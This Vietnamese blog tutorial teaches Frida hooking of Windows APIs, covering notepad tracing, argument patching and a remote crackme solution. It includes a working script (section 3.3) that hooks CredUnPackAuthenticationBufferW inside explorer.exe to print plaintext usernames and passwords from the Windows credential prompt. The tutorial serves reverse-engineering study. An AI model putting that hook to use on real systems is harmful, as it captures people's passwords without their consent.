Malware
Frida 102: Tracing and Hooking Windows APIs
category
Malware
date
May 17, 2021
slug
frida-102-tracing-and-hooking-windows-api
author
status
Public
tags
frida
malware
summary
Sử dụng Frida để monitor và hook vào các Windows APIs.
type
Post
thumbnail
updatedAt
Mar 1, 2023 08:52 AM
1. Frida hoạt động như thế nào?2. Sử dụng Frida cơ bản2.1. Khởi chạy một chương trình bằng Frida2.2. Attach một tiến trình bằng Frida2.3. Sử dụng Frida Tracing3. Hooking Windows APIs bằng Frida3.1. APIs Monitor với Frida3.2. Memory Patching bằng Frida3.3. Chặn bắt thông tin xác thực trên Windows 103.4. Remote Debugging/Hooking với Frida4. Tham khảo
1. Frida hoạt động như thế nào?
Để có thể lấy được các thông tin trong khi một chương trình đang chạy hay thay đổi hành vi của nó thì Frida sử dụng một kỹ thuật gọi là Hooking. Frida cài đặt các hook tại các hàm của chương trình mục tiêu, Hook code sử dụng ngôn ngữ lập trình JavaScript. Để đơn giản thì có thể hiểu như sau: Khi Frida hook vào một hàm, chúng ta giám sát được đầu vào và đầu ra của hàm (tham số truyền vào và giá trị trả về), sửa đổi các giá trị đó hoặc thậm chí là cho hàm đó thực thi code của chúng ta thay vì code gốc,.v.v.. Những việc này đều thực hiện trong lúc chương trình chạy, mọi thay đổi đều diễn ra trên memory mà không làm thay đổi tệp chương trình. Kỹ thuật Hook được ứng dụng trong nhiều tình huống khác nhau, với mục đích tốt có mà xấu cũng có.
Để có thể Hook vào một chương trình, Frida tiến hành Inject một DLL có tên là
frida-agent.dll
vào bên trong vùng nhớ của chương trình đó khi nó đang chạy. Frida sử dụng các APIs trong dbghelp.dll
để tra cứu các Symbols trên Windows, ngoài ra kể từ phiên bản 12.9.8
trở đi Frida đã hỗ trợ việc lookup các Symbol thông qua một Symbol Server. Những cải tiến này đến từ các chuyên gia của DarunGrim Company đã đóng góp cho dự án Frida.Hình dưới đây mô tả cách Frida có thể lookup các Symbol trên Windows:
Sử dụng Process Explorer trong bộ Sysinternal Suite có thể quan sát được, Frida đã inject
frida-agent.dll
vào bên trong notepad.exe
:Trước đó Frida giải nén các tệp cần thiết mà nó sử dụng vào thư mục:
%LOCALAPPDATA%\Temp\frida-<random-32-character>\<32|64>
ứng với tệp chương trình 32-bits hoặc 64-bits. Cấu trúc trông như sau:$ tree . ├── 32 │ ├── dbghelp.dll │ ├── frida-agent.dll │ └── symsrv.dll └── 64 ├── dbghelp.dll ├── frida-agent.dll └── symsrv.dll 2 directories, 6 files
Sơ đồ dưới đây mô tả cách mà Frida cài đặt các Hook và nhận thông báo từ các hook đã cài:
Các đối tượng
Frida
, Session
, Script
tham gia vào quá trình này để quản lý cài đặt các Hook. Các Hook CallBack Functions được viết bằng JavaScript.2. Sử dụng Frida cơ bản
2.1. Khởi chạy một chương trình bằng Frida
$ frida C:\Windows\System32\notepad.exe ____ / _ | Frida 14.2.18 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ Spawned `C:\Windows\System32\notepad.exe`. Use %resume to let the main thread start executing! [Local::notepad.exe]->
Lúc này tiến trình
notepad.exe
là tiến trình con được sinh ra bởi Frida
:Trong bộ công cụ
frida-tools
, chúng ta có một chương trình là frida-ps
có thể liệt kê tất cả các tiến trình đang chạy trên hệ thống. Có thể sử dụng nó để xác nhận notepad.exe
đã được khởi chạy:$ frida-ps | findstr "notepad" 14340 notepad.exe
2.2. Attach một tiến trình bằng Frida
Để attach một tiến trình bằng
Frida
, chúng ta phải tìm được PID của tiến trình cần attack sau đó sử dụng tham số -p
của Frida:$ frida-ps | findstr "mspaint" 7800 mspaint.exe
$ frida -p 7800 ____ / _ | Frida 14.2.18 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ [Local::PID::7800]->
2.3. Sử dụng Frida Tracing
frida-trace
là một công cụ trong bộ frida-tools
. Công cụ này có thể Tracing/Monitor các API được gọi trong một chương trình. Giả sử chúng ta cần monitor hàm MessageBox
và WriteFile
trong notepad.exe
.$ frida-trace -i "MessageBoxW" -i "WriteFile" C:\Windows\System32\notepad.exe
3. Hooking Windows APIs bằng Frida
3.1. APIs Monitor với Frida
Có thể sử dụng Frida để hook vào một số hàm nào đó trong một chương trình với mục đích chặn bắt các tham số của hàm, thậm chí là sửa đổi các tham số này (Memory Patching). Trong trường hợp này tôi thử nghiệm hook vào hàm
WriteFile
và MessageBoxW
của chương trình notepad.exe
. Trước tiên, hãy cùng xem xét các hàm này được định nghĩa như thế nào trong tài liệu MSDN của Microsoft.BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped );
int MessageBoxW( HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType );
Tham số
lpBuffer
của hàm WriteFile
chính là con trỏ trỏ đến vùng đệm sẽ được ghi vào tệp. Theo thứ tự thì hàm này sẽ là tham số thứ hai. Tham số lpText
của hàm MessageBoxW
là nội dung sẽ hiển thị trên box, lpCaption
là tiêu đề của box khi hiển thị.Khi
Frida
hook vào các hàm ta chỉ định trong notepad.exe
. Ta thực hiện một số hành động sau:- Dump nội dung và in ra màn hình giá trị của
lpBuffer
trong hàmWriteFile
- In ra màn hình nội dung của
lpText
vàlpCaption
trong hàmMessageBoxW
var messageBox = Module.getExportByName(null, "MessageBoxW"); var writeFile = Module.getExportByName(null, "WriteFile"); Interceptor.attach(messageBox, { onEnter: function(args) { console.log("\nMessageBoxW at: " + messageBox); console.log(" lpText: " + Memory.readUtf16String(args[1])); console.log(" lpCaption: " + Memory.readUtf16String(args[2])); } }); Interceptor.attach(writeFile, { onEnter: function(args) { console.log("\nWriteFile at: " + writeFile); console.log(" Buffer dump:\n" + hexdump(args[1])); console.log(" Buffer via utf16String: " + Memory.readUtf16String(args[1])); } });
Lưu đoạn JavaScript này lại. Tôi đặt là
apis_hooking.js
. Khởi chạy lại notepad.exe
với tham số -l
để nạp script vừa viết:$ frida -l .\hooking\apis_hooking.js C:\Windows\System32\notepad.exe --no-pause
Nhập một nội dung bất kỳ, ở đây tôi nhập chuỗi:
"This is fun!"
, sau đó tiến hành lưu tệp ra ổ cứng và quan sát trong Frida
ta được như sau:WriteFile at: 0x7fff9f8b4fd0 Buffer dump: 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 1e1a2823780 54 00 68 00 69 00 73 00 20 00 69 00 73 00 20 00 T.h.i.s. .i.s. . 1e1a2823790 66 00 75 00 6e 00 21 00 00 00 00 00 00 00 00 00 f.u.n.!......... ... 1e1a2823870 00 00 00 00 00 00 00 00 10 39 82 a2 e1 01 00 00 .........9...... Buffer via utf16String: This is fun!
Tìm kiếm một chuỗi không tồn tại, mục đích để
Notepad
bắn ra MessageBox:3.2. Memory Patching bằng Frida
Frida
có một ưu điểm đó là trong lúc đang thực hiện hooking vào notepad.exe
chúng ta có thể sửa mã JavaScript mà không cần phải chạy lại Frida, mã chúng ta sửa ngay lập tức được cập nhật. Chúng ta tiến hành sửa đoạn JavaScript trước đó thành như sau:var messageBox = Module.getExportByName(null, "MessageBoxW"); var writeFile = Module.getExportByName(null, "WriteFile"); var buff = Memory.allocUtf16String("F*ck y0u!!!!!!!") Interceptor.attach(messageBox, { onEnter: function(args) { args[1] = buff args[2] = buff console.log("\nMessageBoxW at: " + messageBox); console.log(" lpText: " + Memory.readUtf16String(args[1])); console.log(" lpCaption: " + Memory.readUtf16String(args[2])); } }); Interceptor.attach(writeFile, { onEnter: function(args) { args[1] = buff console.log("\nWriteFile at: " + writeFile); console.log(" Buffer dump:\n" + hexdump(args[1])); console.log(" Buffer via utf16String: " + Memory.readUtf16String(args[1])); } });
Kết quả sau khi hook hàm
MessageBoxW
Kết quả sau khi hook hàm
WriteFile
WriteFile at: 0x7fff9f8b4fd0 Buffer dump: 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 1e1a4376d40 46 00 2a 00 63 00 6b 00 20 00 79 00 30 00 75 00 F.*.c.k. .y.0.u. 1e1a4376d50 21 00 21 00 21 00 21 00 21 00 21 00 21 00 00 00 !.!.!.!.!.!.!... .. 1e1a4376e30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Buffer via utf16String: F*ck y0u!!!!!!!
3.3. Chặn bắt thông tin xác thực trên Windows 10
Sử dụng
Frida
để chặn bắt thông tin xác thực người dùng. Đầu tiên hãy kiểm tra PID của tiến trình explorer
. Chúng ta cần kiểm tra tiến trình này là vì thông thường khi chạy một chương trình thì nó là tiến trình con của explorer
.$ frida-ps | findstr "explorer" 20128 explorer.exe
Sử dụng
Frida-Trace
để theo dõi các API được gọi đến trong quá trình xử lý dữ liệu xác thực từ người dùng. Tôi sử dụng tham số -i "*Cred*"
để lọc các API chứa chuỗi Cred
, -x "CredFree"
sẽ không theo dõi hàm CredFree()
.$ frida-trace -i "*Cred*" -x "CredFree" -p 20128
Khởi chạy chương trình
C:\Windows\System32\notepad.exe
với tùy chọn Run as different user
Lúc này một hộp thoại
Windows Security
xuất hiện đòi chúng ta nhập thông tin xác thực. Đồng thời ta quan sát trong Frida
, hàm CredUIPromptForWindowsCredentialsW()
được gọi:Started tracing 159 functions. Press Ctrl+C to stop. /* TID 0x42c0 */ 90061 ms CredUIPromptForWindowsCredentialsW() 90061 ms | CredUIInternalPromptForWindowsCredentialsW() 90061 ms | | CredUIInternalPromptForWindowsCredentialsWorker()
Nhập đại một vài thông tin nào đó sau đó nhấn OK.
Quan sát trong
Frida
ta thấy một số API thú vị sau được gọi:257149 ms CredUnPackAuthenticationBufferW() 257149 ms CredUnPackAuthenticationBufferW() 257149 ms | CredUnprotectW() 257149 ms | | CredUnprotectEx() 257149 ms | | | CredUnmarshalCredentialW() 257149 ms CredUIParseUserNameW() 257149 ms | CredIsMarshaledCredentialW() 257149 ms | | CredUnmarshalCredentialW() 257150 ms CredUIPromptForWindowsCredentialsW() 257150 ms | CredUIInternalPromptForWindowsCredentialsW() 257150 ms | | CredUIInternalPromptForWindowsCredentialsWorker()
Chúng ta không cần quan tâm đến đoạn:
257150 ms CredUIPromptForWindowsCredentialsW()
vì đoạn này lặp lại đoạn trước đó, nó hiển thị hộp thoại Windows Security
đòi nhập thông tin xác thực. Hàm cần quan tâm nhiều hơn là CredUnPackAuthenticationBufferW()
. Cùng xem định nghĩa của hàm này trên MSDN:CREDUIAPI BOOL CredUnPackAuthenticationBufferW( DWORD dwFlags, PVOID pAuthBuffer, DWORD cbAuthBuffer, LPWSTR pszUserName, DWORD *pcchMaxUserName, LPWSTR pszDomainName, DWORD *pcchMaxDomainName, LPWSTR pszPassword, DWORD *pcchMaxPassword );
Tham số mà chúng ta cần quan tâm đó là:
pszUserName
và pszPassword
.var pszUserName, pszPassword, decryptedUsername, decryptedPassword; var credUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW"); Interceptor.attach(credUnPackAuthenticationBufferW, { onEnter: function (args) { // Credentials here are still encrypted pszUserName = args[3]; pszPassword = args[7]; }, onLeave: function (result) { // Credentials are now decrypted decryptedUsername = pszUserName.readUtf16String() decryptedPassword = pszPassword.readUtf16String() if (decryptedUsername && decryptedPassword) { console.log("\n[*] Intercepted Credentials: "); console.log("[+] Username: " + decryptedUsername); console.log("[+] Password: " + decryptedPassword); } } });
Dùng Frida hook vào
Explorer
:$ frida-ps | findstr "explorer" 6724 explorer.exe $ frida -l .\hooking\credential_theft.js -p 6724
Làm tương tự các bước như trên để nhập
username
và password
. Sau đó quan sát trên Frida, ta có được thông tin xác thực đã bị chặn bắt:$ frida -l .\hooking\credential_theft.js -p 6724 [Local::PID::6724]-> [*] Intercepted Credentials: [+] Username: %COMPUTERNAME%\Alice [+] Password: this_1s_s3cret_passw0rd
3.4. Remote Debugging/Hooking với Frida
Ở các phần trước chúng ta đã thực hành Tracing, Patching với Frida, tuy nhiên những gì chúng ta làm chỉ là trên một máy (localhost). Phần này chúng ta sẽ đi giải một CrackMe đơn giản và chương trình CrackMe này sẽ nằm ở một máy tính khác không phải localhost. Để làm được điều này thì máy tính chạy CrackMe kia cần phải chạy Frida-Server, chương trình này sẽ chạy lắng nghe trên một IP:PORT nào đó và đợi kết nối đến. Từ một máy tính khác sử dụng Frida-CLI (Client) để kết nối Server đến thông qua giao thức TCP.
Chương trình CrackMe của chúng ta hoạt động như sau: Nhập mật khẩu sau đó kiểm tra nếu đúng thì in ra
Congrats!
còn nếu sai thì in ra Try again.
$ crackme-101.exe Enter Password: 123456 Try again.
Đầu tiên hãy tải Frida Server ứng với phiên bản Hệ điều hành đang sử dụng tại: https://github.com/frida/frida/releases. Tôi sử dụng Windows 10 64-bits nên tôi tải file:
frida-server-<version>-windows-x86_64.exe.xz
. Sau đó khởi chạy Frida-Server trên máy chạy CrackMe: Tham số -l
chỉ ra địa chỉ ip muốn lắng nghe, có thể lắng nghe trên một interface cụ thể của máy hoặc tất cả các interface:$ frida-server.exe -l 0.0.0.0
Kiểm tra lại và đảm bảo rằng Frida-Server chắc chẵn đã chạy, nếu có bật tường lửa thì cần cho phép kết nối thông qua Port 27042 vì đây là Port mặc định của Frida-Server:
$ netstat -ano | findstr :27042 TCP 0.0.0.0:27042 0.0.0.0:0 LISTENING 312
$ tasklist /fi "pid eq 312" Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ frida-server.exe 312 RDP-Tcp#5 2 7,976 K
Kiểm tra chương trình bằng bất kỳ một công cụ nào như: CFF Explorer, PE-Studio, PE-Bear,.v.v.. chúng ta đều có thể thấy chương trình này có Import một hàm
strncmp()
. Chúng ta sẽ hook hàm này. Trên một máy tính khác (Client) có cài bộ công cụ Frida-Tools
. Trước tiên chúng ta thực hiện như sau, để xác nhận rằng chương trình CrackMe có gọi đến hàm strncmp()
. Trong đó 192.168.40.98
là địa chỉ máy từ xa, còn C:\Users\Admin\Desktop\Sample\crackme-101.exe
là đường dẫn chương trình muốn chạy.$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe
Tại máy từ xa lúc này khi kiểm tra bằng Process Explorer chúng ta sẽ thấy CrackMe được Run bởi Frida-Server
Trên Console của Frida-Server, nhập mật khẩu sau đó quan sát kết quả:
Quay lại phía client chúng ta thấy hàm strncmp() đã được gọi
$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe Instrumenting... ... Started tracing 3 functions. Press Ctrl+C to stop. /* TID 0x2230 */ 435830 ms strncmp() Process terminated
Tiến hành viết Script hook vào hàm
strncmp()
: Xem định định nghĩa hàm này tại: https://www.cplusplus.com/reference/cstring/strncmp/var strncmp = Module.findExportByName("msvcrt.dll", "strncmp"); Interceptor.attach(strncmp, { onEnter: function(args) { console.log("\nstrncmp at: " + strncmp); console.log(" str1: " + Memory.readUtf8String(args[0])); console.log(" str2: " + Memory.readUtf8String(args[1])); console.log(" num: " + args[2]); } });
Trên máy client chạy lại lần 1 và trên máy từ xa nhập mật khẩu là
123456
và quan sát kết quả:$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause ... [Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: 8;:=<?♥ num: 0x14 Process terminated
Trên máy client chạy lại lần 2 và trên máy từ xa nhập mật khẩu là
abc123
và quan sát kết quả: [Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: hkj8;:♥ num: 0x14 Process terminated
Nhận thấy chuỗi
str1
sau các lần chạy đều không thay đổi, chỉ có dữ liệu nhập tức str2
là thay đổi, như vậy khả năng dữ liệu nhập của chúng ta phải đi qua một hàm mã hóa nào đó, cuối cùng kết quả mới đem so sánh với chuỗi str1
là z8dye:Vq9{V:gJ{py}(
. Lúc này cần một chút kiến thức về Static Code Analysis, sau khi phân tích biết được hàm mã hóa sử dụng phép XOR để mã hóa. Nhận thấy đặc điểm của phép XOR gồm 3 toán hạng và nếu đem bất kỳ 2 toán hạng nào trong đó XOR với nhau thì sẽ ra toán hạng còn lại. Như vậy nếu chúng ta nhập chuỗi str1
của chương trình thì chuỗi str2
sẽ là mật khẩu cần tìm. Trên máy Remote thực hiện:... Enter Password: z8dye:Vq9{V:gJ{py}( Try again.
Tại máy client quan sát được:
[Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: s1mpl3_x0r_3nCrypt! num: 0x14 Process terminated
Sử dụng Password tìm được là chuỗi
str2
, để kiểm tra. Kết quả chương trình hiện ra Congrats!
... Enter Password: s1mpl3_x0r_3nCrypt! Congrats!
Khi đó trên máy Client quan sát ta sẽ thấy được:
[Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: z8dye:Vq9{V:gJ{py}( num: 0x14 Process terminated
Ngoài ra cũng có cách khác để giải quyết CrackMe này đó là Memory Patching, khi hook vào hàm
strncmp()
chúng ta sẽ làm cho điều kiện trả về là 2 chuỗi luôn luôn bằng nhau. var strncmp = Module.findExportByName("msvcrt.dll", "strncmp"); Interceptor.attach(strncmp, { onEnter: function(args) { args[1] = args[0] console.log("\nstrncmp at: " + strncmp); console.log(" str1: " + Memory.readUtf8String(args[0])); console.log(" str2: " + Memory.readUtf8String(args[1])); } });
Lúc này chúng ta nhập bất kỳ mật khẩu nào chương trình vẫn in ra chuỗi
Congrats!
$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause ... Spawned `C:\Users\Admin\Desktop\Sample\crackme-101.exe`. Resuming main thread! [Remote::crackme-101.exe]-> strncmp at: 0x76adac30 str1: z8dye:Vq9{V:gJ{py}( str2: z8dye:Vq9{V:gJ{py}( Process terminated
4. Tham khảo
- Instrumenting Windows APIs with Frida - https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida
- Getting Started with Frida: Hooking a Function and Replacing its Arguments - https://blog.fadyothman.com/getting-started-with-frida-hooking-main-and-playing-with-its-arguments
- Using Frida For Windows Reverse Engineering - https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html
- 3 Ways to Run App as Different User in Windows 10 - https://www.top-password.com/blog/run-app-as-different-user-in-windows-10/